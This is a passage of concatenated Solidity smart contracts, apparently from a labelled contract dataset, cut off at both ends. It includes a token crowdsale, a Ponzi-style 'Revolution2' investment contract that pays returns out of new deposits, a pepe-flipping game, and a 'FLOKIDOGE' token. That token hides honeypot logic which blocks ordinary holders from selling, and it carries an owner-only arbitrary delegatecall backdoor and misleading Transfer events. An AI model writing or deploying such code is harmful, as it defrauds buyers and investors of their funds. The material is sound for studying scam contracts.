function removeFromWhitelist(address _beneficiary) external onlyAdmin {
whitelist[_beneficiary] = false;
emit RemovedFromWhitelist(_beneficiary);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale, Administratable {
using SafeMath for uint256;
mapping(address => uint256) public balances;
event TokensWithdrawn(address indexed _address, uint256 _amount);
function withdrawTokens(address _beneficiary) public onlyAdmin {
require(hasClosed());
uint256 amount = balances[_beneficiary];
require(amount > 0);
balances[_beneficiary] = 0;
_deliverTokens(_beneficiary, amount);
emit TokensWithdrawn(_beneficiary, amount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
function getBalance(address _beneficiary) public returns (uint256) {
return balances[_beneficiary];
}
}
contract MultiRoundCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
struct SaleRound {
uint256 start;
uint256 end;
uint256 rate;
uint256 roundCap;
uint256 minPurchase;
}
SaleRound seedRound;
SaleRound presale;
SaleRound crowdsaleWeek1;
SaleRound crowdsaleWeek2;
SaleRound crowdsaleWeek3;
SaleRound crowdsaleWeek4;
bool public saleRoundsSet = false;
function setTokenSaleRounds(uint256[5] _seedRound, uint256[5] _presale, uint256[5] _crowdsaleWeek1, uint256[5] _crowdsaleWeek2, uint256[5] _crowdsaleWeek3, uint256[5] _crowdsaleWeek4) external onlyOwner returns (bool) {
require(!saleRoundsSet);
require(_seedRound[0] < _seedRound[1]);
require(_presale[0] < _presale[1]);
require(_crowdsaleWeek1[0] < _crowdsaleWeek1[1]);
require(_crowdsaleWeek2[0] < _crowdsaleWeek2[1]);
require(_crowdsaleWeek3[0] < _crowdsaleWeek3[1]);
require(_crowdsaleWeek4[0] < _crowdsaleWeek4[1]);
require(_seedRound[1] < _presale[0]);
require(_presale[1] < _crowdsaleWeek1[0]);
require(_crowdsaleWeek1[1] < _crowdsaleWeek2[0]);
require(_crowdsaleWeek2[1] < _crowdsaleWeek3[0]);
require(_crowdsaleWeek3[1] < _crowdsaleWeek4[0]);
seedRound = SaleRound(_seedRound[0], _seedRound[1], _seedRound[2], _seedRound[3], _seedRound[4]);
presale = SaleRound(_presale[0], _presale[1], _presale[2], _presale[3], _presale[4]);
crowdsaleWeek1 = SaleRound(_crowdsaleWeek1[0], _crowdsaleWeek1[1], _crowdsaleWeek1[2], _crowdsaleWeek1[3], _crowdsaleWeek1[4]);
crowdsaleWeek2 = SaleRound(_crowdsaleWeek2[0], _crowdsaleWeek2[1], _crowdsaleWeek2[2], _crowdsaleWeek2[3], _crowdsaleWeek2[4]);
crowdsaleWeek3 = SaleRound(_crowdsaleWeek3[0], _crowdsaleWeek3[1], _crowdsaleWeek3[2], _crowdsaleWeek3[3], _crowdsaleWeek3[4]);
crowdsaleWeek4 = SaleRound(_crowdsaleWeek4[0], _crowdsaleWeek4[1], _crowdsaleWeek4[2], _crowdsaleWeek4[3], _crowdsaleWeek4[4]);
saleRoundsSet = true;
return saleRoundsSet;
}
function getCurrentRound() internal view returns (SaleRound) {
require(saleRoundsSet);
uint256 currentTime = block.timestamp;
if (currentTime > seedRound.start && currentTime <= seedRound.end) {
return seedRound;
} else if (currentTime > presale.start && currentTime <= presale.end) {
return presale;
} else if (currentTime > crowdsaleWeek1.start && currentTime <= crowdsaleWeek1.end) {
return crowdsaleWeek1;
} else if (currentTime > crowdsaleWeek2.start && currentTime <= crowdsaleWeek2.end) {
return crowdsaleWeek2;
} else if (currentTime > crowdsaleWeek3.start && currentTime <= crowdsaleWeek3.end) {
return crowdsaleWeek3;
} else if (currentTime > crowdsaleWeek4.start && currentTime <= crowdsaleWeek4.end) {
return crowdsaleWeek4;
} else {
revert();
}
}
function getCurrentRate() public view returns (uint256) {
require(saleRoundsSet);
SaleRound memory currentRound = getCurrentRound();
return currentRound.rate;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
require(_weiAmount != 0);
uint256 currentRate = getCurrentRate();
require(currentRate != 0);
return currentRate.mul(_weiAmount);
}
}
contract TipToken is ERC865Token, Ownable {
using SafeMath for uint256;
uint256 public constant TOTAL_SUPPLY = 10 ** 9;
string public constant name = "Tip Token";
string public constant symbol = "TIP";
uint8 public constant decimals = 18;
mapping (address => string) aliases;
mapping (string => address) addresses;
constructor() public {
_totalSupply = TOTAL_SUPPLY * (10**uint256(decimals));
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function availableSupply() public view returns (uint256) {
return _totalSupply.sub(balances[owner]).sub(balances[address(0)]);
}
function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
function setAlias(string alias) public {
aliases[msg.sender] = alias;
addresses[alias] = msg.sender;
}
}
contract TipTokenCrowdsale is MultiRoundCrowdsale, CappedCrowdsale, WhitelistedCrowdsale, AllowanceCrowdsale, PostDeliveryCrowdsale, Pausable {
string public constant name = "Tip Token Crowdsale";
constructor(
ERC20 _token,
address _tokenWallet,
address _vault,
uint256 _cap,
uint256 _start, uint256 _end, uint256 _baseRate
) public
Crowdsale(_baseRate, _vault, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_start, _end)
PostDeliveryCrowdsale()
WhitelistedCrowdsale()
AllowanceCrowdsale(_tokenWallet)
MultiRoundCrowdsale()
{
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused() {
super._preValidatePurchase(_beneficiary, _weiAmount);
SaleRound memory currentRound = getCurrentRound();
require(weiRaised.add(_weiAmount) <= currentRound.roundCap);
require(balances[_beneficiary].add(_weiAmount) >= currentRound.minPurchase);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return MultiRoundCrowdsale._getTokenAmount(_weiAmount);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
AllowanceCrowdsale._deliverTokens(_beneficiary, _tokenAmount);
}
} | 1 | 2,762 |
pragma solidity 0.4.25;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].investment = 0;
}
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
for (uint8 i = 1; i <= rgp.activityDays; i++) {
if (rgp.dailyTotalInvestment[i] != 0) {
delete rgp.dailyTotalInvestment[i];
}
}
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract Revolution2 is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_5_percent = Percent.percent(777,10000);
Percent.percent private m_6_percent = Percent.percent(9,100);
Percent.percent private m_7_percent = Percent.percent(10,100);
Percent.percent private m_8_percent = Percent.percent(8,100);
Percent.percent private m_9_percent = Percent.percent(9,100);
Percent.percent private m_10_percent = Percent.percent(10,100);
Percent.percent private m_11_percent = Percent.percent(11,100);
Percent.percent private m_12_percent = Percent.percent(12,100);
Percent.percent private m_referal_percent = Percent.percent(5,100);
Percent.percent private m_referrer_percent = Percent.percent(7,100);
Percent.percent private m_referrer_percentMax = Percent.percent(10,100);
Percent.percent private m_adminsPercent = Percent.percent(55, 1000);
Percent.percent private m_advertisingPercent = Percent.percent(95, 1000);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 500 ether) {
p = m_5_percent.toMemory();
} else if ( 500 ether <= balance && balance <= 1500 ether) {
p = m_6_percent.toMemory();
} else if ( 1500 ether <= balance && balance <= 5000 ether) {
p = m_7_percent.toMemory();
} else if ( 5000 ether <= balance && balance <= 10000 ether) {
p = m_8_percent.toMemory();
} else if ( 10000 ether <= balance && balance <= 20000 ether) {
p = m_9_percent.toMemory();
} else if ( 20000 ether <= balance && balance <= 30000 ether) {
p = m_10_percent.toMemory();
} else if ( 30000 ether <= balance && balance <= 50000 ether) {
p = m_11_percent.toMemory();
} else {
p = m_12_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
} | 0 | 846 |
pragma solidity ^0.4.19;
contract Adoption {
address ceoAddress = 0x1AEA2d3709bB7CFf5326a4Abc44c45Aa2629C626;
struct Pepe {
address owner;
uint256 price;
}
Pepe[16] data;
function Adoption() public {
for (uint i = 0; i < 16; i++) {
data[i].price = 10000000000000000;
data[i].owner = msg.sender;
}
}
function returnEth(address oldOwner, uint256 price) public payable {
oldOwner.transfer(price);
}
function gimmeTendies(address, uint256 price) public payable {
ceoAddress.transfer(price);
}
function adopt(uint pepeId) public payable returns (uint, uint) {
require(pepeId >= 0 && pepeId <= 15);
if ( data[pepeId].price == 10000000000000000 ) {
data[pepeId].price = 20000000000000000;
} else {
data[pepeId].price = data[pepeId].price * 2;
}
require(msg.value >= data[pepeId].price * uint256(1));
returnEth(data[pepeId].owner, (data[pepeId].price / 10) * (9));
gimmeTendies(ceoAddress, (data[pepeId].price / 10) * (1));
data[pepeId].owner = msg.sender;
return (pepeId, data[pepeId].price);
}
function getAdopters() external view returns (address[], uint256[]) {
address[] memory owners = new address[](16);
uint256[] memory prices = new uint256[](16);
for (uint i=0; i<16; i++) {
owners[i] = (data[i].owner);
prices[i] = (data[i].price);
}
return (owners,prices);
}
} | 1 | 4,289 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FLOKIDOGE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
